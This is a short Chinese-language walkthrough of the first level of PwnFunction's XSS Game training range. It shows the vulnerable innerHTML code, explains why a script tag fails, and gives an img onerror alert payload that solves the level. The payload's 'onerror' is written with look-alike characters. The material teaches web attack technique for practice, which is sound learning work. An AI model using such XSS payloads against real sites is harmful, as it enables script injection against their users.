准备工作:
做好代理然后访问靶场 XSS Game - Learning XSS Made Simple! | Created by PwnFunction
第一关
Ma Spaghet!
这是源代码部分:
<!-- Challenge -->
<h2 id="spaghet"></h2>
<script>
spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>
这里的意思为获取url中的get参数somebody,如果有那么就设置h2的值为get参数的值,如果没有则为"Somebody" + " Toucha Ma Spaghet!"
接下来我们输入?somebody=<script>alert(1)</script>发现并没有弹窗,正常在h2标签中会执行,
通过查阅资料发现在html 5中指定不执行由 innerHTML
插入的 <script></script>标签,这就是不能弹窗的原因
innerHTML
只过滤了<script>,我们可以使用img标签来触发
?somebody=<img src=1 οnerrοr="alert(1)">